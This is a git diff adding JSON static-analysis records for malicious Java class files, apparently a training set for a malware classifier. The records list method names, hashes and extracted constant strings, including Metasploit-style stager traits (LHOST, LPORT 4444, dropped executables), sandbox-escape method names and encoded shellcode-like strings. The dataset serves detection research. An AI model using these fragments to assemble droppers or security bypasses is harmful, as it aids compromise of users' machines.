+++ b/java_classification/data/malicious/970399ac6808755c7de8700d29512f1b488a580da7e6acc55122c6b4c8794655.results
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diff --git a/java_classification/data/malicious/980130a171c8e32f49c5fcfaa9483a900476e24dfb8ecdaed815750efbd9fe69.results b/java_classification/data/malicious/980130a171c8e32f49c5fcfaa9483a900476e24dfb8ecdaed815750efbd9fe69.results
new file mode 100755
index 0000000..aa7a4bb
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diff --git a/java_classification/data/malicious/9893a892eaea278498a814722bec8cfa98dbf65d38ab33b8921942fbed04f6b4.results b/java_classification/data/malicious/9893a892eaea278498a814722bec8cfa98dbf65d38ab33b8921942fbed04f6b4.results
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diff --git a/java_classification/data/malicious/98bb911224d83f167a73aeda46a485eb1d0c5ebfd837aee41ea969fa02daae77.results b/java_classification/data/malicious/98bb911224d83f167a73aeda46a485eb1d0c5ebfd837aee41ea969fa02daae77.results
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diff --git a/java_classification/data/malicious/98c22ca243ebfc4c4c2ce85a2c6346d43212e5791e069c210b14043fa1983b82.results b/java_classification/data/malicious/98c22ca243ebfc4c4c2ce85a2c6346d43212e5791e069c210b14043fa1983b82.results
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diff --git a/java_classification/data/malicious/99bba4595232cff7f8b3ceeb4a46bb4e26abf6a9b2f26c3a1c696a8e54ecf4f8.results b/java_classification/data/malicious/99bba4595232cff7f8b3ceeb4a46bb4e26abf6a9b2f26c3a1c696a8e54ecf4f8.results
new file mode 100755
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diff --git a/java_classification/data/malicious/9a1f2b3ea5de1cba00842fbd57c5d04a165891558c0529f601fb896280a0f0e4.results b/java_classification/data/malicious/9a1f2b3ea5de1cba00842fbd57c5d04a165891558c0529f601fb896280a0f0e4.results
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diff --git a/java_classification/data/malicious/9a22e605ea2e86e531a8ebeeca33e241a2b65a8d85f50d20ba4089ac13e8d3f7.results b/java_classification/data/malicious/9a22e605ea2e86e531a8ebeeca33e241a2b65a8d85f50d20ba4089ac13e8d3f7.results
new file mode 100755
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diff --git a/java_classification/data/malicious/9a61859fc423518bbeffe974ef5f54cf989ed6c9a4980b9716c79115fbe81ee9.results b/java_classification/data/malicious/9a61859fc423518bbeffe974ef5f54cf989ed6c9a4980b9716c79115fbe81ee9.results
new file mode 100755
index 0000000..981a49d
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+++ b/java_classification/data/malicious/9a61859fc423518bbeffe974ef5f54cf989ed6c9a4980b9716c79115fbe81ee9.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "RDqhlSuZVa/xDSsFHO", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "940fc8a8-4b7d-4f0d-ab11-f32c2317be55", "verbose": {"java": {"constant strings": ["RDqhlSuZVa.xDSsFHO", ".class", "/RDqhlSuZVa.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "RDqhlSuZVa.dat", "URL", "", "https:", "RDqhlSuZVa/xDSsFHOTrustManager.class", "xDSsFHOTrustManager.class", "AESPassword", "RDqhlSuZVa/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "RDqhlSuZVa.xDSsFHOTrustManager", "useFor", "java.net.URLConnection", "RDqhlSuZVa.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "xDSsFHO -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "76e14bca52f90eee18695508e7711ec28c64e9a3", "file_name": "java_malicious/9a61859fc423518bbeffe974ef5f54cf989ed6c9a4980b9716c79115fbe81ee9", "_id": "940fc8a8-4b7d-4f0d-ab11-f32c2317be55", "score": 0, "entropy": 6.148466738061894, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tM2qDUBe+WmzThmIhxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tjNeQtmcyNvpvUrKYvCkgHzbDrDF", "sha256": "9a61859fc423518bbeffe974ef5f54cf989ed6c9a4980b9716c79115fbe81ee9", "md5": "69f3e5cc6c5c15002918b65ccbf1c4fa", "parent_sha256": "9a61859fc423518bbeffe974ef5f54cf989ed6c9a4980b9716c79115fbe81ee9"}}
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diff --git a/java_classification/data/malicious/9ae6b352f73797dfbeca52720d0ff4683ab8b1a40ea427353deb2d09b06a3f7f.results b/java_classification/data/malicious/9ae6b352f73797dfbeca52720d0ff4683ab8b1a40ea427353deb2d09b06a3f7f.results
new file mode 100755
index 0000000..fd511b2
--- /dev/null
+++ b/java_classification/data/malicious/9ae6b352f73797dfbeca52720d0ff4683ab8b1a40ea427353deb2d09b06a3f7f.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "jinbrr", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "init", "fas", "jam", "arm", "sop", "mag", "oaf", "vac", "tom", "hub"], "minor_version": 0, "const_pool_count": 236}}, "_id": "b841c77c-336b-4ae2-898d-e131ecf9f52b", "verbose": {"java": {"constant strings": ["aal", "@", "stnb3t2tStnb3t2curityManagtnb3t2r", "tnb3t2", "e", "crtnb3t2attnb3t2Writabltnb3t2Rasttnb3t2r", "Raster", "javatnb3t2awttnb3t2imagetnb3t2", ".", "", "java.security.", "fib3vt2t1le:/b3vt2t1//", "b3vt2t1", "Permissions", "ons", "on", "Perm", "AllPerm", "java.security.ProtectionDomain", "add"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "85286d6e80f73fc7cca0d66402c6a37ddc393e5a", "file_name": "java_malicious/9ae6b352f73797dfbeca52720d0ff4683ab8b1a40ea427353deb2d09b06a3f7f", "_id": "b841c77c-336b-4ae2-898d-e131ecf9f52b", "score": 0, "entropy": 5.704501495106069, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4163, "ssdeep": "96:gakM+ZVKeZ4DDIeiAdUVNE3IZCtkXzErP9:XkueZ4nidwdkoh", "sha256": "9ae6b352f73797dfbeca52720d0ff4683ab8b1a40ea427353deb2d09b06a3f7f", "md5": "d5106236b1a8fad9acd4f29016a82f3b", "parent_sha256": "9ae6b352f73797dfbeca52720d0ff4683ab8b1a40ea427353deb2d09b06a3f7f"}}
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diff --git a/java_classification/data/malicious/9b5f5981446252edfb1406b9c61b37f894d08ab5ed1a5ae0cd5fb29873f6778c.results b/java_classification/data/malicious/9b5f5981446252edfb1406b9c61b37f894d08ab5ed1a5ae0cd5fb29873f6778c.results
new file mode 100755
index 0000000..db91d10
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+++ b/java_classification/data/malicious/9b5f5981446252edfb1406b9c61b37f894d08ab5ed1a5ae0cd5fb29873f6778c.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/9b7397582e4b4b84906e23c360bb6f1e84c1eddd0fe1557484c4736d2c9381c8.results b/java_classification/data/malicious/9b7397582e4b4b84906e23c360bb6f1e84c1eddd0fe1557484c4736d2c9381c8.results
new file mode 100755
index 0000000..b3ff2f7
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+++ b/java_classification/data/malicious/9b7397582e4b4b84906e23c360bb6f1e84c1eddd0fe1557484c4736d2c9381c8.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "dc98e742.java", "class_name": "dc98e742", "access_permissions": ["ACC_PUBLIC"], "major_version": 45, "method_names": ["insert", "<init>"], "minor_version": 3, "const_pool_count": 78}}, "_id": "26674881-e5a2-468d-ad3c-d1e41b253696", "metadata": {"mimetype": "application/x-java-applet", "sha1": "d4402902cc9ffc0e54d025e91ece0b019f2b04ad", "file_name": "java_malicious/9b7397582e4b4b84906e23c360bb6f1e84c1eddd0fe1557484c4736d2c9381c8", "_id": "26674881-e5a2-468d-ad3c-d1e41b253696", "score": 0, "entropy": 5.5831469969165175, "libmagic": "compiled Java class data, version 45.3", "file_size": 2780, "ssdeep": "48:US8oM/AqFIzAIpc0ralueDpojj7v9kUmibM3JjBukVQbNuYBqnGrpoR:r3z19uua+7V3RAZj3VQbNuYbrpoR", "sha256": "9b7397582e4b4b84906e23c360bb6f1e84c1eddd0fe1557484c4736d2c9381c8", "md5": "a757d3a7a156ed38e2a0eb7198bc4c48", "parent_sha256": "9b7397582e4b4b84906e23c360bb6f1e84c1eddd0fe1557484c4736d2c9381c8"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/9c4c9dfd38fc8d1dd257136b8daadfaaf5a84bf4a2386b48544df06282794989.results b/java_classification/data/malicious/9c4c9dfd38fc8d1dd257136b8daadfaaf5a84bf4a2386b48544df06282794989.results
new file mode 100755
index 0000000..6a6328d
--- /dev/null
+++ b/java_classification/data/malicious/9c4c9dfd38fc8d1dd257136b8daadfaaf5a84bf4a2386b48544df06282794989.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "oEnso.java", "class_name": "ZTGTMeuuo/oEnso", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "RRDjfo", "jzkEhv", "hwkhtgzt", "RwQekwrRu", "FQeZk"], "minor_version": 0, "const_pool_count": 213}}, "_id": "e3f55c47-ac7b-4d75-8987-d56dd72b2d72", "verbose": {"java": {"constant strings": ["775"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b7a846d7688fcbc358df7f2bfa5e007247ac8804", "file_name": "java_malicious/9c4c9dfd38fc8d1dd257136b8daadfaaf5a84bf4a2386b48544df06282794989", "_id": "e3f55c47-ac7b-4d75-8987-d56dd72b2d72", "score": 0, "entropy": 5.604671748204997, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3774, "ssdeep": "48:j2HZBFCNyFl6Bgv7p2vz5saLGhsHi93IjmGQTMTATeXU9p1Q7Y3akytJBmE6hlOM:jMZOoFl6yv7EvavRpckytJwnjOMwa", "sha256": "9c4c9dfd38fc8d1dd257136b8daadfaaf5a84bf4a2386b48544df06282794989", "md5": "bd99545343ef6a90a4c8f47f33b0b132", "parent_sha256": "9c4c9dfd38fc8d1dd257136b8daadfaaf5a84bf4a2386b48544df06282794989"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/9e0d23c59e9c4b398633b44c4135529d8d9f8154dbcc26bdc4ca1f160da7475c.results b/java_classification/data/malicious/9e0d23c59e9c4b398633b44c4135529d8d9f8154dbcc26bdc4ca1f160da7475c.results
new file mode 100755
index 0000000..8987246
--- /dev/null
+++ b/java_classification/data/malicious/9e0d23c59e9c4b398633b44c4135529d8d9f8154dbcc26bdc4ca1f160da7475c.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"major_version": 45, "class_name": "BeanHiveFrame", "access_permissions": [], "interfaces": ["java/awt/event/ActionListener"], "sourcefile": "BeanHiveFrame.java", "method_names": ["init", "actionPerformed", "<init>"], "minor_version": 3, "const_pool_count": 100}}, "_id": "0d5b44d1-5f4f-4ef9-826f-3a3c59c8b759", "verbose": {"java": {"constant strings": ["*.class", "Infect a File", "class"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "56defa25f2e146540380ac8ccb88630002382f4e", "file_name": "java_malicious/9e0d23c59e9c4b398633b44c4135529d8d9f8154dbcc26bdc4ca1f160da7475c", "_id": "0d5b44d1-5f4f-4ef9-826f-3a3c59c8b759", "score": 0, "entropy": 5.401290621045396, "libmagic": "compiled Java class data, version 45.3", "file_size": 1380, "ssdeep": "24:cSTUOHB1OfkII0LlDWu/+Ep2xNP7vKkxXTK9M+COS9fN1gaqHqYUGc+:LQOh1Ocx0ou/Zg2eDQM+Cb1W/Uh+", "sha256": "9e0d23c59e9c4b398633b44c4135529d8d9f8154dbcc26bdc4ca1f160da7475c", "md5": "6974dc16d34f1fa41c0fb2a4753f8e9c", "parent_sha256": "9e0d23c59e9c4b398633b44c4135529d8d9f8154dbcc26bdc4ca1f160da7475c"}}
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diff --git a/java_classification/data/malicious/9e3801218cb050fdd04346bb7c6c959869d95479fb550639af1d8632e1bab3ba.results b/java_classification/data/malicious/9e3801218cb050fdd04346bb7c6c959869d95479fb550639af1d8632e1bab3ba.results
new file mode 100755
index 0000000..9e47e31
--- /dev/null
+++ b/java_classification/data/malicious/9e3801218cb050fdd04346bb7c6c959869d95479fb550639af1d8632e1bab3ba.results
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diff --git a/java_classification/data/malicious/9e3f3c6be1520871adad4a11ac8dc032ea83524953e24b544f8ebc5613c55f6a.results b/java_classification/data/malicious/9e3f3c6be1520871adad4a11ac8dc032ea83524953e24b544f8ebc5613c55f6a.results
new file mode 100755
index 0000000..6c6bb64
--- /dev/null
+++ b/java_classification/data/malicious/9e3f3c6be1520871adad4a11ac8dc032ea83524953e24b544f8ebc5613c55f6a.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 86}}, "_id": "a5a98f6a-1ce1-448e-b3eb-db72e4b55af9", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pN,pz,0Z,0l,Pn,pn,pN,pj,Ik,Ku,Pg,pS,0Q,OQ,tm,qp,0u,PG,pu,PL,Kq,P6,lL,KP,p7,lN,MN,ks,XG,PM,PQ,mv,l0,3C,DG,sM,Fz,Kz,SN,kC,XT,HL,Ki,gq,z7,tS,iM,8L,Oc,0u,PW,pZ,Bk,Is,Xp,or,NE,Pw,pa,xr,U1,br,LR,M2,tK,OV,vN,km,8k,X2,YU,PW,pW,pL,Kj,wS,wO,pg,Ou,PP,uX,zC,wp,W3,wM,PW,Og,p0,uK,JL,KH,oQ,OW,Ck,ym,Q8,lc,4e,Q5,Pe,PL,KY,Lv,13,bs,cQ,xS,4E,Q7,p7,pY,op,Vd,LQ,Jp,Yr,qv,2L,Kv,bB,sr,cm,PW,K7,pQ,eK,JO,qs,KK,Lf,Np,ec,Hp,e2,UE,SL,CZ,KE,XO,yT,CH,G3,sV,dd,nc,U4,8R,Ei,Vs,sG,xs,01,Kl,J9,QU,Td,pM,XQ,U7,pD,sK,pp,Pp,PP,SP,Wp,Pk,OP,Vf,pM,Sx,xW,pC,Eu,VR,Je,QV,3K,Of,6e,Ts,jv,9l,CO,2T,D7,1m,PV,Zw,pr,UO,DK,Oc,fe,X0,Q1,FN,kq,ee,ln,kt,4D,uB,XF,cl,56,6l,Ks,Fw,PU,SY,eV,Sz,iP,I2,an,Mw,sJ,eP,3K,kT,OO,NB,05,hL,2b,TU,XO,18,Kv,mc,3y,Jq,PJ,Kl,1w,K5,Op,uk,WQ,NN,k3,nt,dt,Ck,mq,vL,KV,lp,Kn,k1,Nw,lC,3K,mn,k6,dN,kS,3K,un,Ks,n0,YO,3k,X7,pi,oK,Oy,ol,Np,Nt,Nx,lj,8K,NO,zV,n3,N8,Xz,Bp,sD,sy,ZO,z1,K6,VW,jV,O2,PP,Lt,0a,br,Rg,pp,hR,TQ,d0,pT,zv,Od,oQ,vr,Op,nP,aa,vV,NU,3b,Ob,MF,Oq,yP,na,vp,oV,OP,ac,S2,OR,Nv,NQ,xs,DP,mp,lt,op,nT,pP,0t,r0,1p,0W,B7,CF,Pf,TP,8P,0f,Qb,Rv,Pv,Tv,PP,9s,z0,1t,r6,PV,Pp,0U,fv,P4,qv,2E,dv,Yw,Ge,cv,XT,pe,cW,Gp,Wv,PU,5s,ST,xf,RV,R6,U0,ar,xU,i6,T7,Gv,Ra,q7,Cp,84,u2,yq,tC,Vs,Qs,VP,2t,pD,r7,FQ,Jp,0p,36,PT,pe,ic,VE,c6,UU,Pw,pA,", "41,25,25,25,25", ",", "", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "107ffceca7666d52b88f22e7dfe9aec05cc48c79", "file_name": "java_malicious/9e3f3c6be1520871adad4a11ac8dc032ea83524953e24b544f8ebc5613c55f6a", "_id": "a5a98f6a-1ce1-448e-b3eb-db72e4b55af9", "score": 0, "entropy": 6.120852980977507, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3183, "ssdeep": "96:HFleYwyNBXhT2kCTDE2iTULNkez1zNjWZ:lleYwyHM7Q5ApnJNiZ", "sha256": "9e3f3c6be1520871adad4a11ac8dc032ea83524953e24b544f8ebc5613c55f6a", "md5": "567abe5fdf6115dd6983a106aff65a42", "parent_sha256": "9e3f3c6be1520871adad4a11ac8dc032ea83524953e24b544f8ebc5613c55f6a"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/9e81c62a0c3339d0995e884f7b83f751ca1c7f8a3590bb92dfc0b64d27b95364.results b/java_classification/data/malicious/9e81c62a0c3339d0995e884f7b83f751ca1c7f8a3590bb92dfc0b64d27b95364.results
new file mode 100755
index 0000000..224f004
--- /dev/null
+++ b/java_classification/data/malicious/9e81c62a0c3339d0995e884f7b83f751ca1c7f8a3590bb92dfc0b64d27b95364.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Exploit.java", "class_name": "msf/x/Exploit", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["<init>", "tryJ702", "J706_GetClass", "J706_SetField", "J706_disableSecurity", "urlDownload", "tryJ706", "tryJ710", "J711_getMethod", "J711_gimmeClass", "tryJ711", "init", "class$"], "minor_version": 0, "const_pool_count": 518}}, "_id": "b4ff2883-c5fe-406a-b27b-94e613590b9f", "verbose": {"java": {"constant strings": ["tryJ702()", "tryJ702 exception with msg: ", "java.lang.Class", "forName", "sun.awt.SunToolkit", "getField", "java.lang.System", "setSecurityManager", "file:///", "java.beans.Statement", "acc", "urlDownload()", "Zachital", "Gotovo!", "tryJ706()", "tryJ706() Dropping EXE", "java.io.tmpdir", ".exe", "path: ", "tryJ706() internal exception with msg: ", "tryJ706() exception", "tryJ710()", "/msf/x/y6Fad.class", "", "sun.org.mozilla.javascript.internal.Context", "sun.org.mozilla.javascript.internal.GeneratedClassLoader", "java.lang.invoke.MethodHandle", "java.lang.invoke.MethodType", "java.lang.invoke.MethodHandles$Lookup", "findConstructor", "java.lang.String", "findVirtual", "java.lang.ClassLoader", "createClassLoader", "[B", "defineClass", "tryJ710() Dropping EXE", "tryJ710() internal exception with msg: ", "tryJ710() exception", "declaredMethods", "J711_getmethod() localException with msg: ", "com.sun.jmx.mbeanserver.MBeanInstantiator", "findClass", "tryJ711()", "/msf/x/B.class", "enter", "tryJ711() Dropping EXE", "tryJ711() internal exception with msg: ", "tryJ711() exception", "lnkdat", "jar", "lhost", "lport", "Congratalitions!!! Java 7.02", "Congratalitions!!! Java 7.06", "Congratalitions!!! Java 7.10", "Congratalitions!!! Java 7.11"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ffe6aaffc27981d34c8a12c08446e522a1de05df", "file_name": "java_malicious/9e81c62a0c3339d0995e884f7b83f751ca1c7f8a3590bb92dfc0b64d27b95364", "_id": "b4ff2883-c5fe-406a-b27b-94e613590b9f", "score": 10, "entropy": 6.180850776716186, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 11983, "ssdeep": "192:5J0/Il4HaDhP42cOr+FvKfIUojNZNVCYRLXI8uGXo6ZaUhuqp:Qw26DhP+OrqBUojNZNVCD8rXo6IFqp", "sha256": "9e81c62a0c3339d0995e884f7b83f751ca1c7f8a3590bb92dfc0b64d27b95364", "md5": "e6e2cc7fe712b5e74dc5a4c67142ee70", "parent_sha256": "9e81c62a0c3339d0995e884f7b83f751ca1c7f8a3590bb92dfc0b64d27b95364"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/9eed69186e182dd349cc029b162f89aea1ea9eb0f84eaaeb4e6e3a111788bdd4.results b/java_classification/data/malicious/9eed69186e182dd349cc029b162f89aea1ea9eb0f84eaaeb4e6e3a111788bdd4.results
new file mode 100755
index 0000000..eece59b
--- /dev/null
+++ b/java_classification/data/malicious/9eed69186e182dd349cc029b162f89aea1ea9eb0f84eaaeb4e6e3a111788bdd4.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "piwuoeoWrn/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "c6d42412-7771-4144-8145-5a820b105b30", "verbose": {"java": {"constant strings": ["piwuoeoWrn.Payload", ".class", "/piwuoeoWrn.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "piwuoeoWrn.dat", "URL", "", "https:", "piwuoeoWrn/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "piwuoeoWrn/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "piwuoeoWrn.PayloadTrustManager", "useFor", "java.net.URLConnection", "piwuoeoWrn.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaSCcwNCv.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9b547ff973f42b1a195c613ba03e0c6485425a60", "file_name": "java_malicious/9eed69186e182dd349cc029b162f89aea1ea9eb0f84eaaeb4e6e3a111788bdd4", "_id": "c6d42412-7771-4144-8145-5a820b105b30", "score": 0, "entropy": 6.1297181484471395, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "192:gmO1tbPnNtm+j9NvpvUrKYvCkgHzbDrDF:5+9f9NvZU+YvaH3B", "sha256": "9eed69186e182dd349cc029b162f89aea1ea9eb0f84eaaeb4e6e3a111788bdd4", "md5": "afbdf201f4fd78e3c4cbef0e211fbc4e", "parent_sha256": "9eed69186e182dd349cc029b162f89aea1ea9eb0f84eaaeb4e6e3a111788bdd4"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/9f42e581122cabf5706bfb77ce3a8e9087f155d3c8186ff8dcb637f8e1d116d2.results b/java_classification/data/malicious/9f42e581122cabf5706bfb77ce3a8e9087f155d3c8186ff8dcb637f8e1d116d2.results
new file mode 100755
index 0000000..5f1a60b
--- /dev/null
+++ b/java_classification/data/malicious/9f42e581122cabf5706bfb77ce3a8e9087f155d3c8186ff8dcb637f8e1d116d2.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 109}}, "_id": "8626c672-444d-4391-b403-76e2ee54963f", "verbose": {"java": {"constant strings": ["Y0000000000000000I1ZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IL,PN,pl,Pl,Pn,pl,PL,Pz,0x,ik,KU,PS,07,pC,o2,Dm,qP,07,pg,p7,pN,kc,pv,ln,kp,pu,LN,Ml,Kq,xQ,0o,pq,mD,LU,cP,tU,SN,vZ,Kl,3l,Ks,XU,XN,kl,72,Jw,ts,ik,XL,Ow,p5,PE,PK,RY,is,Xr,OP,nU,PW,pu,82,U0,rP,lR,M0,Tk,OR,6L,KZ,Hh,hs,Iu,Pc,0e,PL,KX,WG,7m,PU,o3,0R,UI,ja,Wc,gG,7M,PW,Ou,PS,EJ,ZN,kZ,Oa,O0,3O,9K,1j,Lf,dE,QU,PW,pn,ki,L0,Q6,2F,3U,8W,ts,15,P7,pK,O2,v6,lq,Jq,Iv,1q,Bn,kW,rp,SS,sM,PE,ks,0c,EX,zn,a1,kk,L4,nc,UP,xR,E0,uW,so,sz,Kg,xk,9U,SX,Gs,sU,T4,nU,5T,81,uK,vq,SG,xe,Ps,km,ZY,Qs,4T,pm,XW,5s,0u,ci,Pp,P2,pB,sc,gp,PK,Op,Vt,Pk,3y,hw,pr,UU,V3,Ze,QR,sK,OP,Vu,Ts,jp,YN,cy,RW,tQ,QM,Pf,Zw,pP,uL,tk,OP,Vw,xP,Qr,vL,Ka,ew,Ln,ks,DW,Ep,xc,3z,UB,vl,Kp,vq,05,S8,ut,so,9Q,Y1,Qn,M7,so,5u,cy,KF,oo,Nr,0p,8Z,RP,tu,Xo,1X,Kf,mu,S9,JC,pH,kz,Qw,K5,OB,Uh,gq,NL,Ka,Nt,dt,Cy,Mc,Vn,kV,lP,KN,kq,NW,lF,cK,ml,K3,4N,k6,ck,uN,KS,nP,Y8,C8,hE,Pk,Ok,Ok,OL,Nr,nt,Nh,lO,hI,nn,jT,Nc,N8,X9,r4,3v,SJ,jM,ZS,kU,f6,zf,Op,pP,hV,5C,vp,jB,rR,up,Ob,S7,pQ,xd,4r,TT,05,jV,Ot,op,je,9q,vr,OD,1C,Qf,NQ,yp,np,f2,O6,O0,pc,Q3,WB,ET,op,s5,82,OR,P6,Nt,0c,X2,Pf,OR,NT,pv,Pt,x4,qT,pV,VT,rD,pf,QV,ST,q7,Hd,2P,0w,Dt,pv,YQ,ZD,pS,Tt,pT,pP,0F,V0,0e,ap,RP,ff,RV,V0,a2,Fd,vW,Fa,rR,wb,BP,b1,qv,X4,tF,W4,s3,Vp,XC,Rp,bE,2G,Cu,gT,rw,Dd,xv,9p,fV,Ws,SP,et,pP,6p,a3,QR,zF,Pu,aF,PF,P5,6D,pT,xD,p3,0S,0A,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "71Z", "7QZ", "I1Z", "IQZ", "le:/", "/aac/", "fi", "X"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9b1d2762f9b87a98a7950b4847b6e84598de88b6", "file_name": "java_malicious/9f42e581122cabf5706bfb77ce3a8e9087f155d3c8186ff8dcb637f8e1d116d2", "_id": "8626c672-444d-4391-b403-76e2ee54963f", "score": 0, "entropy": 6.017949756513445, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3217, "ssdeep": "96:RwbjG9Fl7sPkQaF5366SOWLg26LNimeEu:6bjGXl7srs3NShs25meEu", "sha256": "9f42e581122cabf5706bfb77ce3a8e9087f155d3c8186ff8dcb637f8e1d116d2", "md5": "903df0ec9086d1dc1224374027bf23fd", "parent_sha256": "9f42e581122cabf5706bfb77ce3a8e9087f155d3c8186ff8dcb637f8e1d116d2"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/a0404b94bdceab47496a3c31f0a2952bd2b825754e11eccf864629574e9c0452.results b/java_classification/data/malicious/a0404b94bdceab47496a3c31f0a2952bd2b825754e11eccf864629574e9c0452.results
new file mode 100755
index 0000000..d25ee8e
--- /dev/null
+++ b/java_classification/data/malicious/a0404b94bdceab47496a3c31f0a2952bd2b825754e11eccf864629574e9c0452.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "b.java", "class_name": "b", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<clinit>", "<init>", "main", "a", "b", "a", "a", "a"], "minor_version": 0, "const_pool_count": 432}}, "_id": "14e2390b-42d0-405c-9a35-2eef85fd41cb", "verbose": {"java": {"constant strings": ["", "\\n", " ", ",ksx\\x05bnb L", ")87", "\\'b", ",", "!`f*", ".", "\"`f*", "/", "#Nb+\\x07xeww", "#Nh;\\x19aoi,\\x1f#", "#Fn:\\x1emx~w", "#hn6\\x08\"nf,", "#o", "#bh+\\x18\"nf,", "#a", "MOT", "MZW\\x1c-XK", "O0[", "Efk=\\x0bmf\\'0\\ttkc=\\x0fegf4Lobf*\\ro~b*L", "AOK\\x0c", "_st,\\taNu1\\x1ai", "Y^AuT", "\\\\", "P]n6\\x08c}t\\x04?uys=\\x01?8[<\\x1ee|b*\\x1fPos;0det,\\x1f", "Phn60fkq9", "mzw<\\rxk", "mzw4\\t\"kp,BYCB4\\taoi,", "m~s*\\x05n", "hot3\\x18cz", "jck=V", "fkq9", "fkq9Bdej=", "cy)6\\rao", "~eh,CO*c*\\x05zo", "xoj(Ched-\\x01ids+L$\\x7fi1\\x14%", "xxr=", "yyb*Bdej=", "{ci"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "87e8b8d1c7f1da4629067405dd2a89523270d8c9", "file_name": "java_malicious/a0404b94bdceab47496a3c31f0a2952bd2b825754e11eccf864629574e9c0452", "_id": "14e2390b-42d0-405c-9a35-2eef85fd41cb", "score": 0, "entropy": 5.867491093796511, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 11654, "ssdeep": "192:Ki7lY+A73OwjM2qLYpqwyQGfPE8czyK8LQciUhlGIGDGLGlDWG2MPo:f7lY+A73zM2KrQ6EpyJLQtUhlGIGDGLl", "sha256": "a0404b94bdceab47496a3c31f0a2952bd2b825754e11eccf864629574e9c0452", "md5": "0d8c2821a5c9efe8a3e02702d6fb3f6a", "parent_sha256": "a0404b94bdceab47496a3c31f0a2952bd2b825754e11eccf864629574e9c0452"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/a04c7c23b1b9b575dd3e901dac740686a278a489d5518b973fede5b98c789621.results b/java_classification/data/malicious/a04c7c23b1b9b575dd3e901dac740686a278a489d5518b973fede5b98c789621.results
new file mode 100755
